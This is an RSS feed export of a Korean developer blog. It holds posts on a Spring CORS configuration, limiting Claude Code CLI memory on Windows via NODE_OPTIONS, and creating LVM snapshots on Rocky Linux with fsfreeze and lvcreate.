cors.allowed-origins=http://localhost:5173
          &amp;darr; @Value 주입
CorsConfig.corsConfigurationSource()
          &amp;darr; 빈 주입
SecurityConfig.cors(...)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;허용 출처를 변경할 때는 &lt;code&gt;application-local.properties&lt;/code&gt;의 &lt;code&gt;cadence.cors.allowed-origins&lt;/code&gt; 값 하나만 수정하면 전체에 반영된다.&lt;/p&gt;</description>
      <category>DEV/Spring</category>
      <author>BI3A</author>
      <guid isPermaLink="true">https://doinitright.tistory.com/310</guid>
      <comments>https://doinitright.tistory.com/310#entry310comment</comments>
      <pubDate>Sun, 22 Mar 2026 03:30:45 +0900</pubDate>
    </item>
    <item>
      <title>AI 코드 툴 터미널 메모리 사용량 제한 방법(CLAUDE)</title>
      <link>https://doinitright.tistory.com/309</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;클로드, Gemini, ChatGPT Code CLI를 사용하는 개발자들을 위한 작은 꿀팁&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;AI 코드 툴을 CLI 형태로 사용하는 개발자가 많아졌다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;text-align: start;&quot;&gt;특히&amp;nbsp;&lt;/span&gt;&lt;b&gt;Claude Code&lt;/b&gt;&lt;span style=&quot;text-align: start;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;b&gt;Gemini CLI&lt;/b&gt;&lt;span style=&quot;text-align: start;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;b&gt;OpenAI Codex CLI&lt;/b&gt;&lt;span style=&quot;text-align: start;&quot;&gt;&amp;nbsp;같은 도구들은 &lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;text-align: start;&quot;&gt;대형 코드베이스를 읽거나 긴 세션을 유지하면서 생각보다 많은 RAM을 사용한다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;text-align: start;&quot;&gt;특히 노트북 환경에서는 CLI AI 도구 하나가&amp;nbsp;&lt;/span&gt;&lt;b&gt;2GB 이상 메모리를 사용하는 경우&lt;/b&gt;도 흔하다.&lt;br /&gt;&lt;span style=&quot;text-align: start;&quot;&gt;그래서 개발 환경을 안정적으로 유지하려면&amp;nbsp;&lt;/span&gt;&lt;b&gt;Node 기반 CLI의 메모리를 제한하는 방법&lt;/b&gt;을 알아두면 좋다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;메모리 절약(이라기보다는 강제 제한)을 통해 컴퓨터를 오래 사용해보자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;800&quot; data-origin-height=&quot;600&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/UJ6AR/dJMcaduwPCl/Q0wTH01obrNYmpQhCI1sL0/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/UJ6AR/dJMcaduwPCl/Q0wTH01obrNYmpQhCI1sL0/img.jpg&quot; data-alt=&quot;내가 본체가 맞는걸까 클로드가 본체는 아닐까?&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/UJ6AR/dJMcaduwPCl/Q0wTH01obrNYmpQhCI1sL0/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FUJ6AR%2FdJMcaduwPCl%2FQ0wTH01obrNYmpQhCI1sL0%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;400&quot; height=&quot;300&quot; data-origin-width=&quot;800&quot; data-origin-height=&quot;600&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;내가 본체가 맞는걸까 클로드가 본체는 아닐까?&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;개발 환경 : Windows 11&lt;br /&gt;대상 AI Tool : CLAUDE CODE&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Wrapper Script 방식 (가장 안전한 방법)&lt;/h2&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;가장 추천되는 방식은 wrapper script를 사용하는 것이다.&lt;br /&gt;즉 claude 실행 전에 Node 메모리 제한 옵션을 설정하는 작은 실행 스크립트를 만드는 방법이다.&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;wrapper script 생성&lt;/h3&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;claude.cmd 파일을 만든다.&lt;/blockquote&gt;
&lt;pre class=&quot;bash&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;@echo off
set NODE_OPTIONS=--max-old-space-size=1024
claude %*&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;설명&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-spread=&quot;false&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;NODE_OPTIONS : Node 실행 옵션&lt;/li&gt;
&lt;li&gt;--max-old-space-size : 최대 heap 메모리 (MB)&lt;/li&gt;
&lt;li&gt;%* : CLI 인자 전달&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 예시는 &lt;b&gt;최대 1GB 메모리 제한&lt;/b&gt;을 의미한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;추천 메모리 설정&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;8GB : 512MB&lt;/li&gt;
&lt;li&gt;16GB : 1024MB&lt;/li&gt;
&lt;li&gt;32GB : 2048MB&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;설정 방법(예)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;--max-old-space-size=1024&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;PATH에 등록&lt;/h3&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;이 파일을 다음 위치 중 하나에 둔다.&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;예&lt;/p&gt;
&lt;pre class=&quot;taggerscript&quot;&gt;&lt;code&gt;C:\Users\&amp;lt;username&amp;gt;\bin&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;또는&lt;/p&gt;
&lt;pre class=&quot;taggerscript&quot;&gt;&lt;code&gt;C:\Users\&amp;lt;username&amp;gt;\AppData\Roaming\npm&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그 후 PATH에 포함되도록 설정하면&lt;/p&gt;
&lt;pre class=&quot;ebnf&quot;&gt;&lt;code&gt;claude&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;입력 시&lt;/p&gt;
&lt;pre class=&quot;dockerfile&quot;&gt;&lt;code&gt;claude.cmd &amp;rarr; 실제 claude 실행&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;순서로 동작하면서 &lt;b&gt;자동으로 메모리 제한이 적용된다.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;장점&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-spread=&quot;false&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;특정 프로그램에만 적용&lt;/li&gt;
&lt;li&gt;CMD 전체 동작을 변경하지 않음&lt;/li&gt;
&lt;li&gt;문제 발생 시 파일 삭제만 하면 복구 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서 대부분 개발 환경에서는 &lt;b&gt;이 방식을 가장 많이 사용한다.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;AutoRun 방식&lt;/h2&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;Windows CMD에는 AutoRun 기능이 있다.&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;레지스트리 위치&lt;/p&gt;
&lt;pre class=&quot;taggerscript&quot;&gt;&lt;code&gt;HKCU\Software\Microsoft\CommandProcessor&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기 AutoRun 값을 설정하면 &lt;b&gt;CMD 실행 시 자동으로 명령이 실행된다.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;예&lt;/p&gt;
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;doskey claude=set NODE_OPTIONS=--max-old-space-size=1024 ^&amp;amp; claude $*&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;동작&lt;/p&gt;
&lt;pre class=&quot;properties&quot;&gt;&lt;code&gt;claude
&amp;darr;
NODE_OPTIONS 설정
&amp;darr;
claude 실행&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;장점&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-spread=&quot;false&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;별도 스크립트 없이 설정 가능&lt;/li&gt;
&lt;li&gt;모든 CMD 세션에서 자동 적용&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;주의&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-spread=&quot;false&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;설정 이후 활성화된 모든 CMD 전체 실행 시 설정이 적용됨&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서 AutoRun 방식은 &lt;b&gt;간단하지만 권장되는 방법은 아니다.&lt;/b&gt;&lt;/p&gt;</description>
      <category>DEV/나의 개발일기</category>
      <category>Ai</category>
      <category>claude</category>
      <category>windows 11</category>
      <category>메모리제한</category>
      <author>BI3A</author>
      <guid isPermaLink="true">https://doinitright.tistory.com/309</guid>
      <comments>https://doinitright.tistory.com/309#entry309comment</comments>
      <pubDate>Sun, 22 Mar 2026 01:08:26 +0900</pubDate>
    </item>
    <item>
      <title>[Linux] LVM 기반 전체 시스템 스냅샷 방법</title>
      <link>https://doinitright.tistory.com/308</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;580&quot; data-origin-height=&quot;319&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/HeI6f/dJMcagkvVyw/tqvBpaqrWPT0u0e7uxLplK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/HeI6f/dJMcagkvVyw/tqvBpaqrWPT0u0e7uxLplK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/HeI6f/dJMcagkvVyw/tqvBpaqrWPT0u0e7uxLplK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FHeI6f%2FdJMcagkvVyw%2FtqvBpaqrWPT0u0e7uxLplK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;400&quot; height=&quot;220&quot; data-origin-width=&quot;580&quot; data-origin-height=&quot;319&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h1&gt;Linux OS 의 전체 시스템 Snapshot(LVM) 생성 방법&lt;/h1&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;회사에서 신규 솔루션 설치 테스트를 진행하며 안전한 설치 작업을 위해&lt;br /&gt;스냅샷 방법을 알아보며 정리한 글이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Snapshot&lt;/h2&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;서버에서 새로운 소프트웨어를 설치하거나 시스템 구성을 변경할 때 가장 안전한 방법 중 하나는&lt;br /&gt;작업 이전 상태로 되돌릴 수 있는 스냅샷을 미리 생성하는 것이다.&lt;br /&gt;&lt;br /&gt;특히 패키지 설치나 데이터베이스 설치 작업은 시스템 파일과 설정 파일을 동시에 변경할 수 있기 때문에,&lt;br /&gt;문제가 발생하면 복구가 까다로워질 수 있다.&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;작업 환경: Rocky Linux 8 + Logical Volume Manager&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Snapshot을 사용하는 이유&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서버에서 새로운 소프트웨어를 설치할 때는 다음과 같은 위험이 존재한다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;패키지 의존성 충돌&lt;/li&gt;
&lt;li&gt;설정 파일 변경&lt;/li&gt;
&lt;li&gt;서비스 포트 충돌&lt;/li&gt;
&lt;li&gt;데이터 디렉토리 생성 문제&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예를 들어 다음과 같은 작업을 수행한다고 가정한다.&lt;/p&gt;
&lt;pre class=&quot;&quot;&gt;&lt;code&gt;데이터베이스 설치
패키지 업데이트
서비스 설정 변경&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 과정에서 문제가 발생하면 &lt;b&gt;기존 환경으로 되돌리는 것이 매우 어렵다.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서 작업 전에 다음과 같은 전략을 사용한다.&lt;/p&gt;
&lt;pre class=&quot;mel&quot;&gt;&lt;code&gt;현재 상태 snapshot 생성
&amp;rarr; 설치 작업 진행
&amp;rarr; 문제 발생 시 snapshot 기준으로 복구&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 방식은 &lt;b&gt;point-in-time 복구 전략&lt;/b&gt;이라고도 한다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Linux Snapshot 생성 전제 조건&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;리눅스에서 snapshot 기능을 사용하려면 다음이 필요하다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;LVM 기반 스토리지 구조&lt;/li&gt;
&lt;li&gt;snapshot을 저장할 여유 공간&lt;/li&gt;
&lt;li&gt;snapshot 대상 Logical Volume 확인&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;LVM은 물리 디스크를 논리적으로 묶어 관리하는 기능으로 다음과 같은 구조를 가진다.&lt;/p&gt;
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;Physical Disk
   &amp;darr;
Physical Volume (PV)
   &amp;darr;
Volume Group (VG)
   &amp;darr;
Logical Volume (LV)
   &amp;darr;
Filesystem Mount&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;LVM snapshot은 &lt;b&gt;Logical Volume 단위로 생성된다.&lt;/b&gt;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Snapshot 생성 절차 및 롤백 방법&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;가용 시스템 용량 확인&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;먼저 스냅샷을 저장할 논리적 볼륨의 용량을 체크한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파일 시스템 확인&lt;/p&gt;
&lt;pre class=&quot;bash&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;vgs&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예시 결과&lt;/p&gt;
&lt;pre id=&quot;code_1773993741569&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;VG   #PV #LV #SN Attr   VSize   VFree
rl     2   4   0 wz--n- 1.16T   0.16T&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;VFree = 0이면 snapshot 생성이 불가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;디스크 구조 확인&lt;/h3&gt;
&lt;pre class=&quot;ebnf&quot;&gt;&lt;code&gt;lsblk&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예시&lt;/p&gt;
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;NAME        TYPE MOUNTPOINT
sda         disk
├─sda1      part /boot/efi
├─sda2      part /boot
└─sda3      part
  ├─rl-root lvm  /
  ├─rl-swap lvm  [SWAP]
  └─rl-u01  lvm  /u01
sdb         disk
└─sdb1      part
  ├─rl-home lvm  /home
  └─rl-u01  lvm  /u01&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기서 확인해야 하는 포인트는 3가지이다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;code&gt;Type = lvm&lt;/code&gt;인 경우, LVM 스냅샷 대상이 된다.
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;반대로, &lt;code&gt;Type = disk&lt;/code&gt;나 &lt;code&gt;part&lt;/code&gt;인 경우, LVM 스냅샷 대상이 아니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;MOUNTPOINT&lt;/code&gt; 컬럼에 표시되는 경로는 파일이 실제 저장되는 경로를 의미한다.
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;즉, 상기 예제에서는 snapshot 대상이 &lt;code&gt;rl-root의 /&lt;/code&gt;, &lt;code&gt;rl-home의 /home&lt;/code&gt;, &lt;code&gt;rl-u01의 /u01&lt;/code&gt;이 된다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;[swap]&lt;/code&gt;으로 표시된 것은 스냅샷 대상이 아니다. (추후 설명)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;마운트된 파일시스템 확인&lt;/h3&gt;
&lt;pre class=&quot;ebnf&quot;&gt;&lt;code&gt;df -hT&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예시&lt;/p&gt;
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;Filesystem       Type  Mounted on
/dev/rl/root     xfs   /
/dev/rl/home     xfs   /home
/dev/rl/u01      xfs   /u01&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 경우 snapshot 대상은 다음과 같다.&lt;/p&gt;
&lt;pre class=&quot;jboss-cli&quot;&gt;&lt;code&gt;/
/home
/u01&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Logical Volume 확인&lt;/h3&gt;
&lt;pre class=&quot;ebnf&quot;&gt;&lt;code&gt;lvs&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예시&lt;/p&gt;
&lt;pre class=&quot;properties&quot;&gt;&lt;code&gt;LV    VG   LSize
root  rl   200G
home  rl   200G
swap  rl   11G
u01   rl   751G&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;VG : 볼륨 그룹&lt;/li&gt;
&lt;li&gt;LSize : 볼륨 크기&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실제로 스냅샷할 대상들의 볼륨명과 물리적으로 디스크 내의 대상별 할당된 볼륨 크기를 파악한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;(참고) swap이 스냅샷에서 제외되는 이유?&lt;/span&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;snapshot 대상에서 swap을 제외하는 이유는 다음과 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;swap은 휘발성 데이터이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;swap 영역은 메모리 페이지, 캐시 데이터, 임시 프로세스 정보등이 담긴다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;시스팀 재부팅 시 자동으로 초기화되는 영역이기 때문에, 스냅샷을 뜰 필요가 없다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Snapshot 생성 전 filesystem write 중지&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파일시스템 snapshot을 생성할 때는 &lt;b&gt;일관된 상태를 유지하기 위해 write 작업을 잠시 중지&lt;/b&gt;한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이를 위해 다음 명령을 사용한다.&lt;/p&gt;
&lt;pre class=&quot;ebnf&quot;&gt;&lt;code&gt;fsfreeze&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;freeze 상태에서는&lt;/p&gt;
&lt;pre class=&quot;applescript&quot;&gt;&lt;code&gt;read  &amp;rarr; 가능
write &amp;rarr; 대기&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;freeze 명령&lt;/p&gt;
&lt;pre class=&quot;properties&quot;&gt;&lt;code&gt;fsfreeze -f /
fsfreeze -f /home
fsfreeze -f /u01&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;LVM Snapshot 생성&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;write를 중지한 상태에서 snapshot을 생성한다.&lt;/p&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;lvcreate -L 20G -s -n root_snapshot /dev/rl/root
lvcreate -L 20G -s -n home_snapshot /dev/rl/home
lvcreate -L 80G -s -n u01_snapshot /dev/rl/u01&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;옵션 설명&lt;/p&gt;
&lt;pre class=&quot;diff&quot;&gt;&lt;code&gt;-L  snapshot metadata 공간
-s  snapshot 생성
-n  snapshot 이름&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt; snapshot에서 각 볼륨 레벨의 메타데이터를 공간을 잡는 기준&lt;/b&gt;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;[snapshot의 원리]&lt;/b&gt;&lt;br /&gt;해당 시점의 볼륨의 모든 데이터를 저장하는 것이 아니다.&lt;br /&gt;스냅샷 시점을 기준으로, 이후 변경되는 볼륨 레벨 내의 모든 데이터를 스냅샷 내에 쌓아나간다.&lt;br /&gt;그래서 스냅샷 기준으로 롤백을 진행하는 경우, &lt;br /&gt;해당 스냅샷에 쌓인 메타데이터를 기반으로 변경 이전으로 돌아갈 수 있게 한다.&amp;nbsp;&lt;br /&gt;&lt;br /&gt;따라서 메타데이터를 잡을 때는,&amp;nbsp;&lt;br /&gt;기존 볼륨 레벨의 메모리 할당 공간 크기를 기준으로 판단할 것이 아닌&lt;br /&gt;가장 많이 변경이 일어나는 볼륨에 비중을 두고 가변적으로 판단하면 된다.&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;filesystem write 재개&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;snapshot 생성이 끝나면 write를 다시 활성화한다.&lt;/p&gt;
&lt;pre class=&quot;properties&quot;&gt;&lt;code&gt;fsfreeze -u /
fsfreeze -u /home
fsfreeze -u /u01&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 시스템은 정상적으로 동작한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Snapshot 생성 확인&lt;/h3&gt;
&lt;pre class=&quot;ebnf&quot;&gt;&lt;code&gt;lvs&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예시&lt;/p&gt;
&lt;pre class=&quot;livecodeserver&quot;&gt;&lt;code&gt;LV               Attr
root             -wi-ao----
root_snapshot    swi-a-s---
home             -wi-ao----
home_snapshot    swi-a-s---
u01              -wi-ao----
u01_snapshot     swi-a-s---&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;swi-a-s&lt;/code&gt;는 snapshot Logical Volume을 의미한다.&lt;/p&gt;
